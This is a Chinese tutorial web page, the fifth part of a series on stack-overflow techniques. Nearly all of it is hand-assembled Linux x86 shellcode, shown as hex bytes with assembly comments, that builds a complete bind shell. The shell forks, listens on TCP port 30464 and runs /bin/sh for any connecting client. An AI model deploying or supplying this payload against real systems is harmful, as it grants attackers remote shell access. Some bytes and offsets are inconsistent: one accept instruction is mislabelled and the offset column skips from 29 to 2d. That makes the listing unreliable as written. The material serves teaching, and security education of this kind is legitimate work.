科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网网络频道系统安全---堆栈溢出技术从入门到高深(5)

系统安全---堆栈溢出技术从入门到高深(5)

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

 继续我们上一次的话题,在上一篇文章我,我提到了如何实现一个Shellcode,本次我们将利用堆栈溢出来获得shell……

作者:论坛整理 来源:zdnet网络安全 2007年12月21日

关键字: 安全技术 堆栈溢出 系统安全

  • 评论
  • 分享微博
  • 分享邮件
 bind(soc,(struct sockaddr *)&serv_addr,0x10)的汇编代码

      /* bind使用66号系统调用,2号子调用。 */
  /* 他使用一段内存块来传递参数。 */
  /* %ecx 里面为这个内存块的地址指针. */
  char code[]=
  "\x89\xf1" /* movl %esi,%ecx */
  "\x89\x06" /* movl %eax,(%esi) */
  /* %eax 的内容为刚才socket调用的返回值, */
  /* 就是soc文件描述符,作为第一个参数 */
  "\xb0\x02" /* movb $0x2,%al */
  "\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */
  /* serv_addr.sin_family=AF_NET(2) */
  /* 2 放在 0xc(%esi). */
  "\xb0\x77" /* movb $0x77,%al */
  "\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */
  /* 端口号(0x7700=30464)放在 0xe(%esi) */
  "\x8d\x46\x0c" /* leal 0xc(%esi),%eax */
  /* %eax = serv_addr 的地址 */
  "\x89\x46\x04" /* movl %eax,0x4(%esi) */
  /* 第二个参数. */
  "\x31\xc0" /* xorl %eax,%eax */
  "\x89\x46\x10" /* movl %eax,0x10(%esi) */
  /* serv_addr.sin_addr.s_addr=0 */
  "\xb0\x10" /* movb $0x10,%al */
  "\x89\x46\x08" /* movl %eax,0x8(%esi) */
  /* 第三个参数 . */
  "\xb0\x66" /* movb $0x66,%al */
  "\xb3\x02" /* movb $0x2,%bl */
  "\xcd\x80" /* int $0x80 */

  listen(soc,1)的汇编代码

      /* listen使用66号系统调用,4号子调用。 */
  /* 他使用一段内存块来传递参数。 */
  /* %ecx 里面为这个内存块的地址指针. */
  char code[]=
  "\x89\xf1" /* movl %esi,%ecx */
  "\x89\x06" /* movl %eax,(%esi) */
  /* %eax 的内容为刚才socket调用的返回值, */
  /* 就是soc文件描述符,作为第一个参数 */
  "\xb0\x01" /* movb $0x1,%al */
  "\x89\x46\x04" /* movl %eax,0x4(%esi) */
  /* 第二个参数. */
  "\xb0\x66" /* movb $0x66,%al */
  "\xb3\x04" /* movb $0x4,%bl */
  "\xcd\x80" /* int $0x80 */

  accept(soc,0,0)的汇编代码

      /* accept使用66号系统调用,5号子调用。 */
  /* 他使用一段内存块来传递参数。 */
  /* %ecx 里面为这个内存块的地址指针. */
  char code[]=
  "\x89\xf1" /* movl %esi,%ecx */
  "\x89\xf1" /* movl %eax,(%esi) */
  /* %eax 的内容为刚才socket调用的返回值, */
  /* 就是soc文件描述符,作为第一个参数 */
  "\x31\xc0" /* xorl %eax,%eax */
  "\x89\x46\x04" /* movl %eax,0x4(%esi) */
  /* 第二个参数. */
  "\x89\x46\x08" /* movl %eax,0x8(%esi) */
  /* 第三个参数. */
  "\xb0\x66" /* movb $0x66,%al */
  "\xb3\x05" /* movb $0x5,%bl */
  "\xcd\x80" /* int $0x80 */

  dup2(cli,0)的汇编代码

      /* 第一个参数为 %ebx, 第二个参数为 %ecx */
  char code[]=
  /* %eax 里面是刚才accept调用的返回值, */
  /* 客户的文件描述符cli . */
  "\x88\xc3" /* movb %al,%bl */
  "\xb0\x3f" /* movb $0x3f,%al */
  "\x31\xc9" /* xorl %ecx,%ecx */
  "\xcd\x80" /* int $0x80 */

  现在该把这些所有的细节都串起来,形成一个新的shell的时候了。

      char shellcode[]=
  00 "\x31\xc0" /* xorl %eax,%eax */
  02 "\xb0\x02" /* movb $0x2,%al */
  04 "\xcd\x80" /* int $0x80 */
  06 "\x85\xc0" /* testl %eax,%eax */
  08 "\x75\x43" /* jne 0x43 */
  /* 执行fork(),当fork()!=0 的时候,表明是父进程,要终止 */
  /* 因此,跳到0x43+a=0x4d,再跳到后面,执行 exit(0) */
  0a "\xeb\x43" /* jmp 0x43 */
  /* 当fork()==0 的时候,表明是子进程 */
  /* 因此,跳到0x43+0c=0x4f,再跳到后面,执行 call -0xa5 */
  0c "\x5e" /* popl %esi */
  0d "\x31\xc0" /* xorl %eax,%eax */
  0f "\x31\xdb" /* xorl %ebx,%ebx */
  11 "\x89\xf1" /* movl %esi,%ecx */
  13 "\xb0\x02" /* movb $0x2,%al */
  15 "\x89\x06" /* movl %eax,(%esi) */
  17 "\xb0\x01" /* movb $0x1,%al */
  19 "\x89\x46\x04" /* movl %eax,0x4(%esi) */
  1c "\xb0\x06" /* movb $0x6,%al */
  1e "\x89\x46\x08" /* movl %eax,0x8(%esi) */
  21 "\xb0\x66" /* movb $0x66,%al */
  23 "\xb3\x01" /* movb $0x1,%bl */
  25 "\xcd\x80" /* int $0x80 */
  /* 执行socket(),eax里面为返回值soc文件描述符 */
  27 "\x89\x06" /* movl %eax,(%esi) */
  29 "\xb0\x02" /* movb $0x2,%al */
  2d "\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */
  2f "\xb0\x77" /* movb $0x77,%al */
  31 "\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */
  35 "\x8d\x46\x0c" /* leal 0xc(%esi),%eax */
  38 "\x89\x46\x04" /* movl %eax,0x4(%esi) */
  3b "\x31\xc0" /* xorl %eax,%eax */
  3d "\x89\x46\x10" /* movl %eax,0x10(%esi) */
  40 "\xb0\x10" /* movb $0x10,%al */
  42 "\x89\x46\x08" /* movl %eax,0x8(%esi) */
  45 "\xb0\x66" /* movb $0x66,%al */
  47 "\xb3\x02" /* movb $0x2,%bl */
  49 "\xcd\x80" /* int $0x80 */
  /* 执行bind() */
  4b "\xeb\x04" /* jmp 0x4 */
  /* 越过下面的两个跳转 */
  4d "\xeb\x55" /* jmp 0x55 */
  /* 跳到0x4f+0x55=0xa4 */
  4f "\xeb\x5b" /* jmp 0x5b */
  /* 跳到0x51+0x5b=0xac */
  51 "\xb0\x01" /* movb $0x1,%al */
  53 "\x89\x46\x04" /* movl %eax,0x4(%esi) */
  56 "\xb0\x66" /* movb $0x66,%al */
  58 "\xb3\x04" /* movb $0x4,%bl */
  5a "\xcd\x80" /* int $0x80 */
  /* 执行listen() */
  5c "\x31\xc0" /* xorl %eax,%eax */
  5e "\x89\x46\x04" /* movl %eax,0x4(%esi) */
  61 "\x89\x46\x08" /* movl %eax,0x8(%esi) */
  64 "\xb0\x66" /* movb $0x66,%al */
  66 "\xb3\x05" /* movb $0x5,%bl */
  68 "\xcd\x80" /* int $0x80 */
  /* 执行accept(),eax里面为返回值cli文件描述符 */
  6a "\x88\xc3" /* movb %al,%bl */
  6c "\xb0\x3f" /* movb $0x3f,%al */
  6e "\x31\xc9" /* xorl %ecx,%ecx */
  70 "\xcd\x80" /* int $0x80 */
  72 "\xb0\x3f" /* movb $0x3f,%al */
  74 "\xb1\x01" /* movb $0x1,%cl */
  76 "\xcd\x80" /* int $0x80 */
  78 "\xb0\x3f" /* movb $0x3f,%al */
  7a "\xb1\x02" /* movb $0x2,%cl */
  7c "\xcd\x80" /* int $0x80 */
  /* 执行三个dup2() */
  7e "\xb8\x2f\x62\x69\x6e" /* movl $0x6e69622f,%eax */
  /* %eax="/bin" */
  83 "\x89\x06" /* movl %eax,(%esi) */
  85 "\xb8\x2f\x73\x68\x2f" /* movl $0x2f68732f,%eax */
  /* %eax="/sh/" */
  8a "\x89\x46\x04" /* movl %eax,0x4(%esi) */
  8d "\x31\xc0" /* xorl %eax,%eax */
  8f "\x88\x46\x07" /* movb %al,0x7(%esi) */
  92 "\x89\x76\x08" /* movl %esi,0x8(%esi) */
  95 "\x89\x46\x0c" /* movl %eax,0xc(%esi) */
  98 "\xb0\x0b" /* movb $0xb,%al */
  9a "\x89\xf3" /* movl %esi,%ebx */
  9c "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
  9f "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
  a2 "\xcd\x80" /* int $0x80 */
  /* 执行execve() */
  /* 运行/bin/sh() */
  a4 "\x31\xc0" /* xorl %eax,%eax */
  a6 "\xb0\x01" /* movb $0x1,%al */
  a8 "\x31\xdb" /* xorl %ebx,%ebx */
  aa "\xcd\x80" /* int $0x80 */
  /* 执行exit() */
  ac "\xe8\x5b\xff\xff\xff" /* call -0xa5 */
  /* 执行0x0c处的指令 */

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章